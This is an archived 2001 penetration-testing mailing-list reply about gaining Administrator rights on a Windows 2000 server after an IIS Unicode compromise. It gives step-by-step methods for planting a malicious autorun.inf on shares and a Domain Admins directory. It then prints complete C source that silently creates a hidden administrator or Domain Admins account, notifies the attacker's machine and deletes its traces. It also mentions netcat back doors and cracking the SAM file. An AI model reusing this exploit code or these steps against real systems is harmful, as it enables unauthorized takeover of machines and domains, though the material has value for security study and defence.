Nmap Security Scanner
*Intro
*Ref Guide
*Install Guide
*Download
*Changelog
*Book
*Docs
Security Lists
*Nmap Hackers
*Nmap Dev
*Bugtraq
*Full Disclosure
*Pen Test
*Basics
*More
Security Tools
*Pass crackers
*Sniffers
*Vuln Scanners
*Web scanners
*Wireless
*Exploitation
*Packet crafters
*More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:
edgeos



Penetration Testing: Re: [PEN-TEST] Expand right under Win2K

Re: [PEN-TEST] Expand right under Win2K

From: Nelson Brito (a.k.a. stderr) <stderr_at_SEKURE.ORG>
Date: Wed, 10 Jan 2001 13:59:44 -0200

Paul Cardon wrote:

> Charlie Rhodes wrote:
>
>>> We have a win2k where we have access to a cmd.exe with the rights of the
>>> web-server and we would like to obtain administrator rights. Also we
>>> don't have the rights to read the SAM files.
>>> We tried the well-known methdos under win NT 4.0 (like breaknt.exe,
>>> read from raw device) in vain.
>>
>> Do you have network (ftp) access? or floppy access?
>> http://www.bo2k.com should do the trick. You'll probably want to configure
>> the server part off the machine, then load it on.
>
>
> This is the second time this question has been asked on the list and
> almost everybody misunderstands the problem. Let me restate it:
>
> Suppose a pen-tester has used the IIS Unicode vulnerability to download
> a back door such as a netcat listener to the target Win2K server and now
> has a remote cmd shell. At this point the remote shell is running with
> IUSR_<MACHINE> privilege since that is the privilege level that the
> Unicode vulnerability provides.
>
> Now, how does the pen-tester elevate privilege to Administrator?
>
> Any software that is downloaded (tftp, ftp, whatever) through the remote
> command shell will only run with IUSR_<MACHINE> privilege. Why do
> people think that downloading BO2K, netcat, or some such will magically
> elevate privilege? It doesn't.
>
> The only things that are possible are:
>
> 1) There is a known privilege escalation vulnerability that can be
> exploited with local unprivileged access. The attacker can download and
> run that code to gain Administrator access.
You can use another Win2k || NT Machine to execute programs, like:
1 - Copy a "hacked version" of autorun.inf + hacked program to another
Win2K || NT MAchine;
2 - Put the root directory that host autorun.inf in shared mode;
3 - In the IIS Unicode Transversal Machine, mount the shared directory;
4 - Now, you'll see the "hacked autorun.inf" executing arbritary commands.

I think this will hope you...

Another way to do this is:
1 - Find the PDC(if exist) in domain;
2 - Find the "mountable directory" for "Domain Admins";
3 - Put the "hacked autorun.inf" in this directory;
4 - Sit and relax while waiting a member of "Domain Admins" log.

You could do this with a "Shell Folder" vulnerability, and others...

>
> 2) Brute force attack against accounts with local Administrator
> privilege.

You can crack the SAM File, coz the IUSR_<MACH> have permission to read
this file.

>
> 3) Look for vulnerabilities in other systems that the web server can
> talk to. Some of those may expose Domain accounts with Administrator
> privilege on the web server or other systems that are trusted by the web
> server.
>
> There are others but Win2K does limit some of the nicer possibilities
> that existed with NT.
>
> -paul

A source example to "hacked autorun.inf" and program looks like:
--- autorun.cpp
/****************************************************************************************
  * Autor : Nelson Brito *
  * E-mail : nelson_at_secunet.com.br && stderr_at_sekure.org *
  * URL : http://stderr.sekure.org && http://www.secunet.de *
  * Data : Belem, 09 de Dezembro de 2000. *
  * Publicado: Rio de Janeiro, 09 de Janeiro de 2001. *

****************************************************************************************/

/****************************************************************************************
  * Para explorar esta vulnerabilidade voce tera' que usar o seu
cerebro, pois eu nao *
  * irei lhe ensinar a como utiliza-lo, estou apenas divulgando o
codigo. *
  *
                  *
  * Agradecimentos: Bruno Alvim(remorse), Andrea Goulart, Helge Fischer,
Thiago(c0nd0r), *
  * Felipe(falcon), corb_at_sekure(what's up?), Nilson
Brito(brother), *
  * Andre Silveira(phD), Charlene(mi amore) e Mamae...
=) *

****************************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <process.h> /* A funcao execl() no VC++. */

FILE *fp;

int main(void){

        char *windir = (char *)getenv("WINDIR"); // Onde esta o %SystemRoot%?
        char *batch = "C:\\TEMP\\nelson.bat"; // Batch File temporario.

        /**********************************************************************************
         * Sim, eu sei, eu poderia ter utilizado "NetUserAdd()" e
"NetGroupAdd()", mas *
         * achei melhor utilizar um arquivo "batch" temporario, fica menor o
codigo. *
        
**********************************************************************************/
        if(!(fp = fopen(batch, "w"))){ perror("fopen"); exit(0); }

        fprintf(fp, "@echo off\n");
        fprintf(fp, "@%s\\system32\\net.exe user nelson secunet
/fullname:\"Nelson Brito from Security Networks AG / IBQN\"
/comment:\"Penetration Test Account\" /add > nul\n", windir);

        /**********************************************************************************
         * Aqui voce devera' definir se sera' utilizado em um DC ou Stand Alone.
          *
        
**********************************************************************************/
        #ifdef _IS_A_PDC_
                fprintf(fp, "@%s\\system32\\net.exe group Administrators nelson /add >
nul\n", windir);
                fprintf(fp, "@%s\\system32\\net.exe group \"Domain Admins\" nelson /add >
nul\n", windir);
        #else
                fprintf(fp, "@%s\\system32\\net.exe localgroup Administrators nelson /add
> nul\n", windir);
        #endif

        /**********************************************************************************
         * Ao final de tudo, sera' enviada uma mensagem para a maquina PITBULL, a
minha *
         * maquina. =)
          *
        
**********************************************************************************/
        fprintf(fp, "@%s\\system32\\net.exe send PITBULL \"Autorun Privilege
Escalation Exploit Executed\"\n", windir);
        fprintf(fp, "@%s\\system32\\cmd.exe /c del %s\n", windir, batch);
        fclose(fp);

        execl(batch, batch, NULL); // Executando o batch file temporario.
        perror("execl"); // Erro de execucao.

        return(0);
}

--- autorun.cpp

--- autorun.inf
[autorun]
open=autorun.exe
--- autorun.inf

PS: It's work with PGPDisk, at the mount time. When you mount the
PGPDisk, the SYSTEM recognize as a mount point, then it executes the
"hacked autorun.inf".

Sem mais,

--
Nelson Brito
Security Analyst && Penetration Tester
Security Networks AG / IBQN - http://www.secunet.de/
Received on Jan 10 2001
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
edgeos